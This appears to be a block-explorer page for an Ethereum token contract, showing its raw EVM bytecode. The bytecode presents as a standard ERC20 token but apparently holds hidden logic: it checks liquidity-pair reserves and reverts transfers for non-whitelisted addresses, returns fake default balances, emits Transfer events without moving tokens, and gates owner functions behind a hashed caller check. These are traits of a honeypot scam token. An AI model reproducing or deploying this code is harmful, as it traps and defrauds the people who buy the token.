044820152606401610568565b6001600160a01b03811661085c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610568565b6008546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661091a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610568565b6001600160a01b03821661097b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610568565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a035760405162461bcd60e51b8152600401610568906110d6565b6001600160a01b038216610a295760405162461bcd60e51b815260040161056890611093565b6001600160a01b038316600090815260208190526040902054811115610aa05760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610568565b6001600160a01b038316600090815260208190526040902054610ac39082610e4b565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610af29082610de5565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016109d0565b6001600160a01b038316610b695760405162461bcd60e51b8152600401610568906110d6565b6001600160a01b038216610b8f5760405162461bcd60e51b815260040161056890611093565b60008111610bf15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610568565b6001600160a01b0383166000908152600f6020526040902054819060ff1680610c3257506001600160a01b0383166000908152600f602052604090205460ff165b15610c4857610c428484836109dd565b50505050565b6040805185815260106020820152908120548491908015610c6857600080fd5b508581526017602082015260135480871415610d99576000806000630dfe168160e01b8552602085600487875afa610c9f57600080fd5b845163d21220a760e01b8652602086600488885afa610cbd57600080fd5b8551630240bc6b60e21b8752604087600489895afa610cdb57600080fd5b865160208801516370a0823160e01b89528760048a015260208960248b875afa610d0457600080fd5b88516370a0823160e01b8a528860048b015260208a60248c875afa610d2857600080fd5b8951600e5480871415610d575782851115610d4a578285039750601654881199505b82851415610d5757600198505b80861415610d815781841115610d74578184039750601654881199505b81841415610d8157600198505b505050505050505080821715610d9657600080fd5b50505b506080016040526106e28585846109dd565b60008184841115610dcf5760405162461bcd60e51b8152600401610568919061103e565b506000610ddc8486611133565b95945050505050565b600080610df2838561111b565b905083811015610e445760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610568565b9392505050565b6000610e4483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dab565b80356001600160a01b0381168114610ea457600080fd5b919050565b600060208284031215610ebb57600080fd5b610e4482610e8d565b60008060408385031215610ed757600080fd5b610ee083610e8d565b9150610eee60208401610e8d565b90509250929050565b600080600060608486031215610f0c57600080fd5b610f1584610e8d565b9250610f2360208501610e8d565b9150604084013590509250925092565b60008060408385031215610f4657600080fd5b610f4f83610e8d565b915060208301358015158114610f6457600080fd5b809150509250929050565b60008060408385031215610f8257600080fd5b610f8b83610e8d565b946020939093013593505050565b60008060008060608587031215610faf57600080fd5b843567ffffffffffffffff80821115610fc757600080fd5b818701915087601f830112610fdb57600080fd5b813581811115610fea57600080fd5b8860208260051b8501011115610fff57600080fd5b6020928301965094506110159187019050610e8d565b9396929550929360400135925050565b60006020828403121561103757600080fd5b5035919050565b600060208083528351808285015260005b8181101561106b5785810183015185820160400152820161104f565b8181111561107d576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6000821982111561112e5761112e6111a0565b500190565b600082821015611145576111456111a0565b500390565b600181811c9082168061115e57607f821691505b6020821081141561117f57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611199576111996111a0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202efe55c2778000ff37bd8e2baf424969d745df20d372434a0cdba0810038f96864736f6c63430008060033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063a9059cbb1161007c578063a9059cbb1461028b578063a9f517801461029e578063c45a0155146102b1578063dd62ed3e146102c4578063e1bc1e77146102fd578063f2fde38b1461031057600080fd5b80638da5cb5b14610239578063927f3d411461024a57806395d89b411461025d578063983bc41b14610265578063a457c2d71461027857600080fd5b80632d7e545f1161010a5780632d7e545f146101c2578063313ce567146101d557806339509351146101e057806349bd5a5e146101f357806370a082311461021e578063715018a61461023157600080fd5b806306fdde0314610147578063095ea7b31461016557806318160ddd146101885780631c6ef8271461019a57806323b872dd146101af575b600080fd5b61014f610323565b60405161015c919061103e565b60405180910390f35b610178610173366004610f6f565b6103b5565b604051901515815260200161015c565b6006545b60405190815260200161015c565b6101ad6101a8366004611025565b6103cb565b005b6101786101bd366004610ef7565b610427565b6101ad6101d0366004610ea9565b610490565b60055460ff1661018c565b6101786101ee366004610f6f565b6104d3565b601354610206906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b61018c61022c366004610ea9565b610509565b6101ad61059f565b6008546001600160a01b0316610206565b600254610206906001600160a01b031681565b61014f610643565b6101ad610273366004610f99565b610652565b610178610286366004610f6f565b6106e9565b610178610299366004610f6f565b610738565b6101ad6102ac366004610f33565b610745565b601554610206906001600160a01b031681565b61018c6102d2366004610ec4565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b601e54610206906001600160a01b031681565b6101ad61031e366004610ea9565b61079d565b6060600380546103329061114a565b80601f016020809104026020016040519081016040528092919081815260200182805461035e9061114a565b80156103ab5780601f10610380576101008083540402835291602001916103ab565b820191906000526020600020905b81548152906001019060200180831161038e57829003601f168201915b5050505050905090565b60006103c23384846108b8565b50600192915050565b604051338152600c8101601460208301925060208301604052602083828460025afa6103f657600080fd5b505051601b5480821461040557005b5050601354601e54610424916001600160a01b039081169116836109dd565b50565b6000610434848484610b43565b6104868433610481856040518060600160405280602881526020016111cd602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190610dab565b6108b8565b5060019392505050565b604051338152600c8101601460208301925060208301604052602083828460025afa6104bb57600080fd5b505051601b548082146104ca57005b5050601e819055005b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103c29185906104819086610de5565b60006001600160a01b0382166105715760405162461bcd60e51b815260206004820152602260248201527f62616c616e636520717565727920666f7220746865207a65726f206164647265604482015261737360f01b60648201526084015b60405180910390fd5b6001600160a01b03821660009081526020819052604090205480610599575050600754919050565b92915050565b6008546001600160a01b031633146105f95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610568565b6008546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600880546001600160a01b0319169055565b6060600480546103329061114a565b60005b838110156106e25784848281811061066f5761066f6111b6565b90506020020160208101906106849190610ea9565b6001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106c891815260200190565b60405180910390a3806106da81611185565b915050610655565b5050505050565b60006103c23384610481856040518060600160405280602581526020016111f5602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190610dab565b60006103c2338484610b43565b604051338152600c8101601460208301925060208301604052602083828460025afa61077057600080fd5b505051601b5480821461077f57005b50506040805183815260106020820152818120908201909152819055005b6008546001600160a01b031633146107f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610568565b6001600160a01b03811661085c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610568565b6008546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661091a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610568565b6001600160a01b03821661097b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610568565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a035760405162461bcd60e51b8152600401610568906110d6565b6001600160a01b038216610a295760405162461bcd60e51b815260040161056890611093565b6001600160a01b038316600090815260208190526040902054811115610aa05760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610568565b6001600160a01b038316600090815260208190526040902054610ac39082610e4b565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610af29082610de5565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016109d0565b6001600160a01b038316610b695760405162461bcd60e51b8152600401610568906110d6565b6001600160a01b038216610b8f5760405162461bcd60e51b815260040161056890611093565b60008111610bf15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610568565b6001600160a01b0383166000908152600f6020526040902054819060ff1680610c3257506001600160a01b0383166000908152600f602052604090205460ff165b15610c4857610c428484836109dd565b50505050565b6040805185815260106020820152908120548491908015610c6857600080fd5b508581526017602082015260135480871415610d99576000806000630dfe168160e01b8552602085600487875afa610c9f57600080fd5b845163d21220a760e01b8652602086600488885afa610cbd57600080fd5b8551630240bc6b60e21b8752604087600489895afa610cdb57600080fd5b865160208801516370a0823160e01b89528760048a015260208960248b875afa610d0457600080fd5b88516370a0823160e01b8a528860048b015260208a60248c875afa610d2857600080fd5b8951600e5480871415610d575782851115610d4a578285039750601654881199505b82851415610d5757600198505b80861415610d815781841115610d74578184039750601654881199505b81841415610d8157600198505b505050505050505080821715610d9657600080fd5b50505b506080016040526106e28585846109dd565b60008184841115610dcf5760405162461bcd60e51b8152600401610568919061103e565b506000610ddc8486611133565b95945050505050565b600080610df2838561111b565b905083811015610e445760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610568565b9392505050565b6000610e4483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dab565b80356001600160a01b0381168114610ea457600080fd5b919050565b600060208284031215610ebb57600080fd5b610e4482610e8d565b60008060408385031215610ed757600080fd5b610ee083610e8d565b9150610eee60208401610e8d565b90509250929050565b600080600060608486031215610f0c57600080fd5b610f1584610e8d565b9250610f2360208501610e8d565b9150604084013590509250925092565b60008060408385031215610f4657600080fd5b610f4f83610e8d565b915060208301358015158114610f6457600080fd5b809150509250929050565b60008060408385031215610f8257600080fd5b610f8b83610e8d565b946020939093013593505050565b60008060008060608587031215610faf57600080fd5b843567ffffffffffffffff80821115610fc757600080fd5b818701915087601f830112610fdb57600080fd5b813581811115610fea57600080fd5b8860208260051b8501011115610fff57600080fd5b6020928301965094506110159187019050610e8d565b9396929550929360400135925050565b60006020828403121561103757600080fd5b5035919050565b600060208083528351808285015260005b8181101561106b5785810183015185820160400152820161104f565b8181111561107d576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6000821982111561112e5761112e6111a0565b500190565b600082821015611145576111456111a0565b500390565b600181811c9082168061115e57607f821691505b6020821081141561117f57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611199576111996111a0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202efe55c2778000ff37bd8e2baf424969d745df20d372434a0cdba0810038f96864736f6c63430008060033
Loading...
Loading
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 35 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.